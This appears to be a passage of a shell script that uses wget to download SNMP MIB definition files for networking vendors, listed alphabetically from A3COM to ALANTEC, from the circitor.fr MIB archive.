wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SNMP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SRM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SSH-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-STACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-STORM-CONSTRAIN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SUBNET-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SYS-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-SYSLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-T1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-TRANSCEIVER-INFO-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-TRNG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-TUNNEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-UI-MAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-UNICAST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-USER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-USERLOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VO-TYPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOAAACLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOANALOGIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOCALLACTIVE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOCALLHISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VODIALCONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VODIGITALIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOGENERAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOGKCLIENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOH323CALLSTAT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOICE-CALL-ACTIVE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOICE-CALL-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOICE-DIAL-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOICE-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOICE-VLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOIF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VOSIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VRRP-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-VSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-WAPI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-WEB-AUTHENTICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUAWEI-WIPS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-HUWAEI-LswPERFORMANCE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-LIC-R1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-PRIVATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-BRIDGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-FDDI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-FILE-TRANSFER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-POLL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-QOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-ROUTEPOLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-SMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-TOKEN-RING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM-SWITCHING-SYSTEMS-WEBSERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0004-GENERIC.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0012-TRAPTABLE2.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0017-STACK-CONFIG.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0019-RMON-REMOTE-POLL.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0021-PORT-SECURITY.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0024-EVENT-EXTENSION.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0025-STACK-UNIT-TYPES.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0027-RMON-EXTENSIONS.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0028-ALARM-PEAK.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0034-PROBECONFIG-EXTENSION.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0039-GENERIC-BRIDGE.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0048-EMBEDDED-SCRIPTS.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0054-BRASICA2-SPECIFIC.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0073IGMP-SNOOP.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0074-SMA-VLAN-SUPPORT.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM00xx-BRIDGE-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0304-RESILIENTLINKS.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0420-SWITCH-EXTENSIONS.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0469-BACKUP-AND-RESTORE.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM0503-PORTINFO.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3COM51-SS9000SX.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Bridge-r3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-DLSW-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Dvmrp-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Filter-r5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-IPSO-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-IPX-r5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-IPXpolicy-r3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-IPextns-r5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Llc-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-MLN-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Mip-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-PortPath-r6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-RIP-IPextns-r4-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-Sdlc-r1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-System-r8-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A3Com-products-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A4400-CPU-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/A4400-RTM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AAC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-ANALOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-FAULT-TC.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-LAG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-MEDIA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-ModularGW-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-ATM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-Analog-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-Control-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-Media-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-MediaServer-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-PSTN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-SS7-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PM-System-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-PSTN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-SS7-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AC-V5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ACCESSPARTITION.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ALARMS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ARP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ASPORT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ASYNC.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-AT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ATM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ATMSLV.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ATMVP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-BGP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-BOOTP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-BRPORT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-CALLEDNUMBER.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-CALLINGNUMBER.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-CM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-COMPRESS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DHCP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DIALMGMT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DN.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DS1.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DS3.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-DSX.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ENET.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-EXTPROTIMP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-FAKE.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-FILESYS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-FLASH.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-FR.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-HUB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IPFILTER.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IPMISC.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IPROUTING.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IPSEC.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-IPX.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-ISDN.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-L2TP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-LAPB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-LMGR.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-MDMMGR.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-MSP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-MULTILINK.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-NAT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-NC-ALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-NOTIFICATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-OSPF.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PHONE.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PING.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PPP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PROBE.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PROFILE.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-PSTN.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-QTP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-RADIUS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-RIP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-RLOAD.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SERVICEPROFILE.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SFT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SLOT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SMDS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SNTP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-STP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-SYSTEM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-TEST.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-TSM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-TUNNEL.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-UDPHELPER.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-V25.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-X25.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-XBR.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACC-XNS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACCEDIAN-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACCORD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACCOUNTING-CONTROL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-ALARM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-CFM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-DESC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-DISCOVERY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-FILTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-PAA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-POLICY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-REGULATOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-SA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-SFP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-SHAPER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-SMAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACD-TID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACLEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACLMGMT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMEPACKET-ENTITY-VENDORTYPE-OID-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMEPACKET-ENVMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMEPACKET-PRODUCTS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMEPACKET-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMEPACKET-TC.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACMIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACS8000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACSServer-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ACTONA-ACTASTOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTEC-ASM-EXT-STORAGE-MGMT-STN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTEC-UNIVERSAL-STORAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTECCIOSTANDARDGROUPMIFDEFINITION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTECCIOSTANDARDGROUPMIFDEFINITION2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTECDURALINK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADAPTECSCSI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADH-NETCOM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADH3-NETCOM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADIC-INTELLIGENT-STORAGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADIC-MANAGEMENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADIC-SANMGR-PROXY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADMIN-ALTEON-AC-vADC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADMIN-AUTH-STATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADN-ENV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL-DMT-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL-LINE-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL2-LINE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSL2-LINE-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADSLF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-3G.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-DESKTOP-AUDITING.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-DNS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-DS1-EXT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-DYING-GASP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-FAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-MEDIAGATEWAY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-MEF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-MUX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-NETWORK-SYNC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-NETWORKMONITOR.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-OVER-TEMP-PROTECTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-PORT-SECURITY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-POWER.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-QOS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-SIP-PROXY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-SIP-REGISTRATION.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-VQM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS-VRRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOSCPU.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOSDOWNLOAD.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOSFILESYSTEM.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOSSNMP.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-AOSUNIT.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-550-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-BRI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-HSSI-V35-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-MODULE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-T1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-UNIT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-V35NX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS-VOICE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLAS550-QUAD-BRI-U-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-ATLASIQ-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-COMMON-AOS.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-DS1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-FRPerform-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-IF-PERF-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-MEF-PER-COS-PER-EVC-PERF-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-MEF-PER-COS-PER-UNI-PERF-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-MEF-PER-EVC-PERF-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-MEF-PER-UNI-PERF-HISTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTRAN-TC.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTX-RAID-AVCL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTX-RAID-AVCL-S2-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTX-SMI-S2.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADTX-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADVA-FSPR7-CFM-EXTENSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADVA-FSPR7-MODULE-ENCRYPTION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADVA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ADVENTNET-WEBNMS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AFC-OIDS.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGENT-GENERAL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGENT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGENTSTATS-SUNMANAGEMENTCENTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGENTX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGG-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGGREGATE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGGREGATED-EXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AGILENT-ENTERPRISE.mib
wget http://www.circitor.fr/Mibs/Mib/A/AH-INTERFACE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AH-MRP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AH-SMI-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AH-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AH-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AHCF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AI-AP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AI193TX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AI194HUB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AI198CLC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIBADGER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIBRIDGE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIDIALOUT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIETHERPORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIHUBPORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIILINKTABLE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIIPVCTABLE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIISUBNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AILUXCONNECT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIMIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIPORTVLAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIPPP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIRESPACE-REF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIRESPACE-SWITCHING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIRESPACE-WIRELESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIRPORT-BASESTATION-3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLC1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLCALIAS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLCANALOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLCASYNC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLCDISCRETE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISLCSYSCFG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISPY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFGFAN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFGPOWER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFGSOFTWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFGTEMP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSCFGTIME-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AISYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIX1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/AIXIRB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/A/ALANTEC-MIB.mib
